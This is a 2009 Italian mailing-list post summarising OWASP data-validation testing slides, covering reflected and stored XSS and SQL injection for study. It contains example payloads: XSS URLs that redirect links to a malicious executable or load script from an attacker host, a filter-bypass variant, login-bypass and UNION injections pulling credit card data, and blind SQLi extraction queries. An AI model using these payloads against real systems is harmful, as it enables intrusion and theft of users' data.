[s3web] SicuWEB - Traduzione/sintesi slide4

  • From: Alberto Campanile <alberto.campanile@xxxxxxxxx>
  • To: s3web@xxxxxxxxxxxxx
  • Date: Wed, 24 Jun 2009 13:00:03 +0200

Ciao ragazzi.... ecco l'ultima traduzione/sintesi...

Ciaoo
Data Validation Testing

La più comune debolezza di una applicazione web è la mancanza di una corretta 
validazione dei dati in ingresso provenienti dal client. Questo problema è alla 
base di quasi tutte le maggiori vulnerabilità presenti nelle applicazioni web: 
cross-site scripting (XSS), SQL injection, interpreter injection, 
locale/Unicode attacks, file system attacks e buffer overflows.

OWASP prevede sedici prove (OWASP-DV-001/16) (NOTA: NON LE ABBIAMO STUDIATE 
TUTTE) per analizzare le possibili minacce relative alla validazione dei dati.

OWASP-DV-(001-005) (Cross Site Scripting (XSS) (Reflected, Stored, DOMbased, 
Flashing)) : Questa suite di test ha come obiettivo quello di verificare 
possibili vulnerabilità di tipo Cross Site Scripting (XSS) in un web server o 
un'applicazione. Quando una applicazione web è vulnerabile a questo tipo di 
attacco, è possibile passare dal client dati in ingresso non convalidati.

Le applicazioni web fanno uso di linguaggi di scripting (p.e.: Javascript, 
ActionScript, VBScript) per permettere contenuti dinamici ed effetti 
interattivi nella pagine web. Il codice di scripting è integrato nel codice 
HTML mediante tag del tipo: <script>.....</script>.

“<”, “/”, “>” sono esempi di codici speciali HTML. Caratteri non-ASCII (p.e. 
superiore a 128 nella codifica ISO 8859-1) non sono permessi negli URL, e 
quindi rappresentano tutti caratteri speciali.

La determinazione dei caratteri speciali non è un compito facile:
        * Alcuni caratteri sono speciali ed altri no a seconda del contesto 
della pagina;
        * Molte pagine web lasciano la codifica dei caratteri indefinita 
(mediante il parametro "charset" di HTML), visto che la maggior parte dei 
browser hanno una codifica di caratteri di default. La versione 4 dell'HTML 
dichiara che: se la codifica dei caratteri non è specificata può essere 
utilizzata una qualsiasi codifica (nelle versioni precedenti alla 4 la codifica 
di default era ISO 8859-1)
        * Un gran numero di server che generano pagine dinamiche non effettuano 
il controllo dei caratteri speciali o non lo fanno correttamente (p.e. 
controllano solo alcuni caratteri speciali)
        
Utilizzando specifiche codifiche un attaccante può eventualmente aggirare i 
filtri sui campi di input, inducendo il server ad inviare codice offensivo o 
link pericolosi all'utente della pagina.

Il codice che sfrutta le vulnerabilità è scritto in linguaggio di scripting 
(Javascript, ActionScript, VBScript), mentre il codice offensivo e malevolo può 
essere compilato (per una specifica piattaforma) e conservato in un deposito di 
file dell'attaccante.

*OWASP-DV-001

Lo scopo di questo test è quello di verificare vulnerabilità di tipo Reflected 
Cross Site Scripting (XSS) in un web server o una applicazione. Gli attacchi 
XSS sono anche conosciuti come di tipo 1 o non persistenti, e sono gli attacchi 
Cross Site Scripting più frequenti.

Il modus operandi comune degli attaccanti prevede i seguenti passi:
        + Un step di design, dove l'attaccante crea e prova un URI offensivo;
        + Uno step di ingegnieria sociale (studio del comportamento individuale 
di una persona al fine di carpire informazioni) finalizzato a convincere le 
potenziali vittime a caricare l'URI sul proprio browser;
        + L'eventuale esecuzione di codice offensivo utilizzando le credenziali 
delle vittime;
        + Il codice di attacco è scritto in linguaggio di scripting e può 
installare keyloggers, rubare i cookie delle vittime, effettuare un furto dei 
dati contenuti negli appunti (clipboard) e cambiare il contenuto di una pagina 
(p.e. inserendo link a file da scaricare).
        
Step per la verifica di Reflected XSS:
        1. Determinare i vettori di input;
                + Es. " Welcome %username% "

        2. Analizzare ogni vettore di input in modo da capire come intergiscono 
con l'applicazione web. In questo step il tester "gioca" con le variabili 
provando a scatenare la vulnerabilità;
                + Es.   
http://example.com/index.php?user=<script>alert(123)</script> 
                Se non è applicato un filtro sui dati di input, viene mostrato 
all'utente un popup e questo indica l'esistenza di una vulnerabilità di tipo 
XSS.
                
        3. Sfruttare l'eventuale vulnerabilità determinata nel punto 2.
                + Es. Una volta scoperta la vulnerabilità, il tester prova a 
modificare le funzionalità della web application (es. alterando link a file)
                
                (NOTA: L'HO SCRITTO COSI' PERCHE' PIU' LEGGIBILE)
                http://example.com/index.php?user=
                <script>
                        window.onload = function() {var 
AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = 
"http://badexample.com/malicious.exe";; }
                </script>

Contromisure da adottare in caso di Reflected XSS: gli attacchi di tipo 
Reflected XSS possono essere prevenuti lato-server (es. filtro di sanitization, 
web firewall) e lato-client (meccanismi di prevenzione nei browser moderni). In 
generale una protezione lato-client può non essere sufficiente in quanto molti 
utenti non aggiornano i loro browser mentre lato-server i filtri di 
sanitization ed altri meccanismi di prevenzione possono essere in alcuni casi 
aggirati.

Es. di filtro di sanitization. Supponiamo che esiste un filtro di questo tipo:
                <?
                        $re = "/<script[^>]+src/i";
                        if (preg_match($re, $_GET['var'])) {
                        echo "Filtered";
                        return; }
                        echo "Welcome ".$_GET['var']." !";
                ?>

        Il precedente codice controlla che non sia presente il carattere ">" 
nel vettore di input e rende di fatto inefficace un attacco del tipo:
                <script src="http://attacker.com/xss.js";></script>
                
        ma tale filtro è aggirato utilizzando utilizzando una differente 
codifica del carattere ">":
                http://www.example.com/?var=<SCRIPT 
%20a=">"%20SRC="http://www.attacker.com/xss.js";></SCRIPT>
        
        NOTA: Nell'esempio l'attaccante fa eseguire codice javascript (xss.js) 
memorizzato nel sito web dell'attaccante (www.attacker.com).
        
*OWASP-DV-002
Questo test serve a controllare vulnerabilità di tipo Stored Cross Site 
Scripting, che sono gli attacchi XSS più pericolosi attualmente conosciuti.
Gli Stored XSS noon necessiatano di link maliziosi per essere sfruttati. I 
dati/codice malizioso appariranno alla vittima come parte integrante della 
pagina web e sono lanciati con i privilegi dell'utente che in quel momento 
utilizza il browser.

Il tipico scenario di attacco di tipo stored XSS attack è il seguente:
        - L'attaccante memorizza/conserva il codice malizioso all'interno di 
una pagina vulnerabile;
        - L'utente si autentica (userID e password) all'interno 
dell'applicazione web;
        - L'utente visita la pagina vulnerabile ed il codice malizioso viene 
eseguito dal browser dell'utente.

Gli Stored XSS sono particolarmente pericolosi in alcune aree dove gli utenti 
hanno alti privilegi di accesso. Quando l'amministratore del sito visita la 
pagina vulnerabile l'attacco è automaticamente eseguito sul suo browser. Questo 
rappresenta una possibile esposizione di informazioni sensibili.

Step per la verifica di Stored XSS:
        1. Controllo dei form di input. Identificare tutti i punti dove 
l'utente può inserire dati in input (es. pagine di profilo utente, pagine 
carrello, File
Manager, pagine di configurazione dell'applicazione).
        2. Analisi del codice HTML. Capire se i dati di input sono memorizzati 
e come sono posizionati nel contesto della pagina.
        3. Test per minacce di Stored XSS. Viene effettuato un test sui filtri 
di validazione dell'applicazione iniettando appropriati dati in ingresso.
        
Esempio a pg. 21->23.

OWASP-DV-005

Un'attacco di tipo SQL injection consiste nell'inserimento di una 
interrogazione SQL all'interno di campi di input dell'applicazione web.

Un exploit di tipo SQL injection può causare:
        - La lettura di dati sensibili da un database;
        - La modifica di dati all'interno di un database (Insert/Update/Delete);
        - L'esecuzione di operazioni di amministrazione su un database (es. 
spegnimento/shutdown del DBMS);
        - La possibilità di (recover) recuperare/ripristinare il contenuto di 
un determinato file nel file system DBMS;
        - La possibilità di impartire comandi al sistema operativo;
        
Gli attacchi di tipo SQL Injection possono essere divisi in tre tipologie:
        - Inband: I dati vengono estratti tramite lo stesso canale utilizzato 
per iniettare il codice SQL. Questo è il più semplice tipo di attacco, dove i 
dati sono recuperati direttamente dalla pagina web.
        - Out-of-band: I dati vengono estratti tramite un canale differente 
(es. viene generata una email con i risultati della query);
        - Inferential:  Non vi è alcun reale trasferimento di dati, ma il test 
è in grado di ricostruire le informazioni con l'invio di particolari richieste 
e osservando il conseguente comportamento del DB Server.
        
Un attacco SQL Injection consiste nel determinare il corretto modo con cui 
viene effettuata una query SQL. Esistono due possibili scenari:
        - Semplice : Se l'applicazione restituisce un messaggio di errore 
generato da una query errata, allora è facile ricostruire la logica della query 
originale e, quindi, capire come eseguire correttamente l'iniezione.
        - Difficile : Se l'applicazione nasconde i dettagli d'errore il tester 
deve essere in grado di dedurre la logica della query (Blind SQL Injection).

Step per la verifica di SQL Injection Detection
        1. Il primo passo è quello di capire se l'applicazione effettua una 
connessione ad un server DB per ottenere alcuni dati (es. form di 
autenticazione, motori di ricerca, siti di e-commerce)
        2. Il secondo passo prevede la determinazione di tutti i campi di input 
(che utilizzano sia il metodo POST che GET) utilizzati come campi 
dell'interrogazione SQL;
        3. Durante terzo passo il tester prova a generare un errore su una 
query SQL utilizzando i vettori di input determinati nel passo precedente. (Es 
inserendo un apice ('), aggiungendo un punto e virgola (;), inserendo una 
stringa in un campo dove è previsto un numero).

*SQL Injection Standard

Le SQL Injection sono spesso generate durante una query con una SELECT:
                SELECT select_expr [, select_expr …]
                FROM table_references
                [WHERE where_condition]
                
Ad esempio: 
                SELECT * 
                FROM Users 
                WHERE Username='$username' AND Password='$password'
                
è solitamente utilizzata per autenticare un utente. Se la query ritorna un 
valore, questo significa che l'account esiste ed è quindi previsto il login al 
sistema. Altrimenti l'accesso è negato.

Esempio 1
                SELECT * FROM Users WHERE Username='$username' AND 
Password='$password'
        
Supponendo di inserire i seguenti valori:
                $username = 1' or '1' = '1
                $password = 1' or '1' = '1
                
La query sarà:
                SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND 
Password='1' OR '1' = '1'

Il metodo GET sarà: 
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

Esempio 2 (NOTA: "/*" rappresenta un commento)
                SELECT * FROM Users WHERE ((Username='$username') AND 
(Password=MD5('$password')))
                
Supponendo di inserire i seguenti valori:
                $username = 1' or '1' = '1'))/*
                $password = foo

La query sarà:
                SELECT * FROM Users WHERE ((Username='1' or '1' = '1')) /*') 
AND (Password=MD5('$password')))
                
Il metodo GET sarà: 
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
        
Esempio 3 (NOTA : il comando SQL "LIMIT" serve a limitare il numero di 
risultati ottenuti dalla query)
                SELECT * FROM Users WHERE ((Username='$username') AND 
(Password=MD5('$password')))
                
Supponendo di inserire i seguenti valori:
                $username = 1' or '1' = '1')) LIMIT 1/*
                $password = foo

La query sarà:
                SELECT * FROM Users WHERE ((Username='1' or '1' = '1')) LIMIT 
1/*') AND (Password=MD5('$password')))
                
Il metodo GET sarà: 
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo

+SQL Injection con query UNION
L'operatore UNION è utilizzato per combinare risultati da differenti query 
SELECT all'interno di un unico insieme:
                SELECT <campi>
                FROM <tabelle>
                [WHERE <condizione1>]

                UNION [DISTINCT/ALL]

                SELECT <campi>
                FROM <tabelle>
                [WHERE <condizione2>]
        
Esempio1 - SQL Injection con query UNION

                SELECT Name, Phone, Address 
                FROM Users 
                WHERE Id=$id

Supponiamo di inserire nel campo "Id" la seguente stringa: 
                $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

La query sarà:

                SELECT Name, Phone, Address 
                FROM Users 
                WHERE Id=1 
                
                UNION ALL 
                
                SELECT creditCardNumber,1,1
                FROM CreditCarTable
                
che sarà l'unione dei risultati della query orignale con quella degli utenti 
che hanno una carta di credito. Il comando "ALL" è necessario per aggirare le 
query che utilizzano la parola chiave "DISTINCT". Abbiamo selezionato gli altri 
due valori (,1,1), perché l'utilizzo di "UNION" prevede che le due SELECT 
devono avere lo stesso numero di campi.

*Blind SQL Injection
Quando si effettua una Blind SQL Injection non si ha conoscenza in merito al 
risultato di un'operazione:
        - Es. Questo problema si verifica nei casi in cui il programmatore ha 
creato una pagina di errore personalizzata che non rivela nulla sulla struttura 
della query o sul DB (la pagina non restituisce un errore di SQL, ma un 
generico HTTP 500).

Utilizzando i metodi di inferenza (inference methods) è possibile evitare 
questo ostacolo, riuscendo a recuperare i valori di alcuni dei campi desiderati:
        - Questo metodo consiste nell'effettuare una serie di interrogazioni al 
server osservando le risposte ed infine dedurre il significato dei risultati.

Esempio di Blind SQL Injection

Supponiamo che l'esecuzione della seguente richiesta: 
                http://www.example.com/index.php?id=1'
restituisca una pagina di errore.

Supponiamo che la query eseguita da server sia : 
                SELECT field1, field2, field3 
                FROM Users WHERE 
                Id='$Id'
                
che è sfruttabile con i metodi visti in precedenza. Le prove che saranno 
eseguite ci consentiranno di ottenere il valore del campo del nome utente, 
estraendo tale valore operando carattere per carattere. Ciò è possibile 
attraverso l'utilizzo di alcune funzioni standard, presenti praticamente in 
ogni DB.

Nell'esempio sono utilizzate le seguenti pseudofunzioni:
        - SUBSTRING (text, start, length): Ritorna la sottostringa a partire 
dalla posizione "start" di "text" e di lunghezza "length". Se "start" è 
maggiore della lunghezza di "text", la funzione ritorna un valore "null".
        - ASCII (char): Restituisce il corrispondente valore ASCII del 
carattere dato in input ("char"). Viene ritornato un valore nullo se il 
carattere è 0.
        - LENGTH (text): Restituisce il numero di caratteri presenti in "text".

Utilizzando queste funzioni, eseguiremo i test partendo dal primo carattere. 
Una volta scoperto tale carattere, passeremo al successivo e così via fino a 
scoprire l'intero valore. Per le prove saranno utilizzate:
        - La funzione SUBSTRING per selezionare un solo carattere alla volta;
        - La funzione ASCII per ottenere il valore ASCII (in modo da poter fare 
un confronto numerico).

I risultati del confronto saranno fatti con tutti i valori della tabella ASCII 
fino a quando non viene identificato il carattere.

Nell'esempio utilizzeremo i seguenti valori per il campo "Id":
                $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

Per creare la seguente "inferential query":
                
                SELECT field1, field2, field3 
                FROM Users 
                WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

La precedente interrogazione ritornerà un risultato solo nel caso in cui il 
primo carattere del campo username è uguale al valore 97 del codice ASCII. In 
caso contrario, viene incrementato di uno l'indice del valore ASCII e viene 
ripetuta la query. Una volta ottenuto il carattere, si passa all'analisi di 
quello successivo modificando i parametri della funzione SUBSTRING.

Il problema è capire in quale caso l'interrogazione restituisce un valore 
"true" oppure un valore "false". Per questo motivo si crea una query che 
restituisce sempre "false". Questo è possibile utilizzando il seguente valore 
per ID:
                $Id=1' AND '1' = '2
                
che corrisponde alla query :
                SELECT field1, field2, field3 
                FROM Users 
                WHERE Id='1' AND '1' = '2'

La risposta ottenuta dal server (pagina HTML d'errore) rappresenterà il valore 
"false" per i nostri test.

Finora non abbiamo affrontato il problema della determinazione della condizione 
di terminazione per le prove, vale a dire, quando si deve porre fine alla 
procedura di inferenza. Una tecnica per farlo utilizza una caratteristica delle 
funzioni "SUBSTRING" e "LENGTH".

Quando il test confronta il carattere corrente con il codice ASCII 0 (vale a 
dire il valore null) e questo restituisce valore "true", i casi possibili sono 
due:
        1. Abbiamo ottenuto il valore di "id" (e quindi abbiamo scandito 
l'intera sequenza). In questo caso dobbiamo terminare la procedura di inferenza;
        2. Il valore di "id" che abbiamo analizzato contiene un carattere null. 
In questo caso dobbiamo continuare la procedura di inferenza. 

Per capire in quale dei due casi ci troviamo si inserisce il seguente valore 
nel campo "Id":
                $Id=1' AND LENGTH(username)=N AND '1' = '1
                
dove "N" è il numero di caratteri finora analizzati. 

La query effettuata sarà:
                SELECT field1, field2, field3 
                FROM Users 
                WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

Se otteniamo valore "true", allora abbiamo terminato la procedura di inferenza 
e quindi abbiamo ottenuto il valore del parametro "Id".
Se otteniamo valore "false", significa che è presente un carattere null nel 
valore del parametro e quindi dobbiamo continuare ad analizzare il carattere 
successivo fino a quando non si trova un altro valore null.

Other related posts:

  • » [s3web] SicuWEB - Traduzione/sintesi slide4 - Alberto Campanile